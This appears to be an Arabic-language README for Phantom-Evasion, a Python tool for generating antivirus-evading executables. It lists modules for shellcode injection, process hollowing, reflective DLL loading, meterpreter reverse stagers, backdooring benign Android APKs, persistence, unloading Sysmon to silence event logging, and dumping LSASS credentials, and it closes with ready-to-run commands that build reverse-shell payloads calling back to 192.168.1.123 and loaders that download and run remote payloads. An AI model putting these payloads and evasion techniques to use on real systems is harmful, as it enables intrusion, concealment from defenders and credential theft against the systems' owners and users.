
أداة تفادي برامج مكافحة الفيروسات المكتوبة بلغة بايثون
Phantom-Evasion هي أداة لتجنب برامج مكافحة الفيروسات مكتوبة بلغة بايثون (متوافقة مع بايثون و بايثون3) قادرة على إنشاء ملفات تنفيذية غير قابلة للكشف (تقريبًا) حتى مع أكثر حمولات msfvenom شيوعًا x86.
أنظمة التشغيل التالية تدعم الإعداد التلقائي رسميًا:
أنظمة التشغيل التالية تدعم الإعداد التلقائي على الأرجح ولكنها تتطلب تثبيت metasploit-framework يدويًا:
أنظمة التشغيل التالية تتطلب إعدادًا يدويًا:
ببساطة قم باستنساخ (git clone) أو تنزيل وفك ضغط مجلد Phantom-Evasion
الإعداد التلقائي، افتح محطة (terminal) ونفذ:
python3 phantom-evasion.py --setup
أو:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
أو ابدأ Phantom-Evasion في الوضع التفاعلي واختر الخيار 7
python3 phantom-evasion.py
أو:
./phantom-evasion.py
python3 phantom-evasion.py --help
أو:
./phantom-evasion.py --help
كل وحدة C لحمولة ويندوز يمكن تجميعها (تدعم كلاً من x86 و x64) كـ EXE أو DLL/ReflectiveDLL.
إدخال تعليمات برمجية عشوائية غير مفيدة (junkcode) (يمكن ضبط الشدة والتكرار واحتمالية إعادة الإدخال) وتقنيات تجنب برامج مكافحة الفيروسات لويندوز (يمكن ضبط التكرار).
تشفير متعدد البايت Xor/Vigenere للشفرة أو الملف مدعوم في كلا وحدتي حقن الشفرة (Shellcode injection) وتنفيذ التحميل (Download Exec).
تقنية Ntdll unhookapi و Peb process masquerading مدعومة.
مجموعة واسعة من أوضاع التنفيذ مدعومة (محلية وبعيدة).
مجموعة واسعة من أوضاع تخصيص الذاكرة للحمولة (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
التحميل الديناميكي لواجهة برمجة تطبيقات ويندوز يمكن ضبطه.
مزيف التوقيعات (Certificate spoofer) والموقع (signer) مدعوم.
إزالة الرموز من الملفات التنفيذية (strip) (https://en.wikipedia.org/wiki/Strip_(Unix))
حمولات ويندوز msfvenom والشفرة المخصصة مدعومة. يمكن تخزين الشفرة كمورد واسترجاعها في وقت التشغيل باستخدام واجهة برمجة تطبيقات FindResource.
تشفير الشفرة مدعوم:
1. لا شيء (none)
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
طريقة التنفيذ المحلية يمكن أن تكون واحدة من التالية:
Thread (خيط)
APC (استدعاء إجراء غير متزامن)
ووضع تخصيص الذاكرة المحلي يمكن أن يكون واحداً من التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
طريقة التنفيذ عن بعد يمكن أن تكون واحدة من التالية:
ThreadExecutionHijack (اختصاراً TEH)
ProcessInject (اختصاراً PI)
APCSpray (اختصاراً APCS)
EarlyBird (اختصاراً EB)
EntryPointHijack (اختصاراً EPH)
ووضع تخصيص الذاكرة عن بعد يمكن أن يكون واحداً من التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
وحدات مُشغِّل متربرتر C خالص (TCP/HTTP/HTTPS) متوافقة مع msfconsole و beacon لـ Cobalt Strike. (reverse_tcp/reverse_http/reverse_https)
باستخدام وضع سطر الأوامر:
مُشغِّل stager reverse_tcp C هو WRT
مُشغِّل stager reverse_http C هو WRH
مُشغِّل stager reverse_https C هو WRS
طريقة التنفيذ المحلية يمكن أن تكون واحدة من التالية:
Thread (خيط)
APC (استدعاء إجراء غير متزامن)
ووضع تخصيص الذاكرة المحلي يمكن أن يكون واحداً من التالية:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
تحميل ملف exe/dll من عنوان URL معطى في الذاكرة وتنفيذه/تحميله في عملية بعيدة (دون الكتابة على القرص).
تحميل EXE/DLL مشفر مدعوم:
1. لا شيء (none)
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
سيتم حفظ DLL/EXE المشفر كـ اسم الملف الأصلي + "crypt" + ".dll" أو ".exe" وهذا هو الذي سيتم تحميله
Windows DownloadExecExe NoDiskWrite (WDE في وضع سطر الأوامر):
طريقة التنفيذ عن بعد يمكن أن تكون واحدة من التالية:
ProcessHollowing (اختصاراً PH)
Windows DownloadExecDll NoDiskWrite (WDD في وضع سطر الأوامر):
طريقة التحميل عن بعد يمكن أن تكون واحدة من التالية:
ReflectiveDll (اختصاراً RD)
RDAPC (ReflectiveDllAPC)
ManualMap (اختصاراً MM) ---> فقط x86
حمولات لينكس msfvenom والشفرة المخصصة مدعومة.
باب خلفي مشفر لـ Msfvenom أندرويد:
تشفير حمولات msfvenom وإعادة بنائها (smali/baksmali) باستخدام apktool. يمكن استخدام الحمولة المشفرة لإنشاء باب خلفي في ملفات apk غير ضارة.
Windows Persistence RegCreateKeyExW Add Registry Key (C) يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه مع تحديد المسار الكامل للملف المراد إضافته لبدء التشغيل كوسيط.
Windows Persistence REG Add Registry Key (CMD) تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (إضافة مفتاح تسجيل عبر REG.exe).
Windows Persistence Keep Process Alive (C) يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه. يستخدم CreateToolSnapshoot و ProcessFirst و ProcessNext للتحقق مما إذا كانت العملية المحددة حية كل X ثانية (إذا لم تكن، يتم إنشاء عملية جديدة باستخدام واجهة برمجة تطبيقات WinExec).
Windows Persistence Schtasks (CMD)
تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (باستخدام Schtasks.exe).
Windows Persistence Create Service (CMD)
تقوم هذه الوحدة بإنشاء حمولات سطر أوامر للثبات (باستخدام sc.exe).
Windows DuplicateTokenEx (C)
إنشاء عملية جديدة برمز مميز مستنسخ من عملية أخرى. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه.
Windows Unload Sysmon (C) إلغاء تحميل برنامج تشغيل sysmon مما يؤدي إلى توقف النظام عن تسجيل سجلات أحداث sysmon. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه.
Windows Unload Sysmon (CMD) إلغاء تحميل برنامج تشغيل sysmon مما يؤدي إلى توقف النظام عن تسجيل سجلات أحداث sysmon.
Windows Attrib hide file (CMD) استخدام attrib لإخفاء الملف
Windows SetFileAttribute hidden (C) إخفاء الملف باستخدام واجهة برمجة تطبيقات SetFileAttribute. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه.
Windows DumpLsass (C) تفريغ Lsass باستخدام واجهة برمجة تطبيقات MiniWriteDumpWrite. يجب رفع الملف التنفيذي المترجم إلى الجهاز الهدف وتنفيذه.
Windows DumpLsass (CMD)
تفريغ Lsass من سطر الأوامر.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf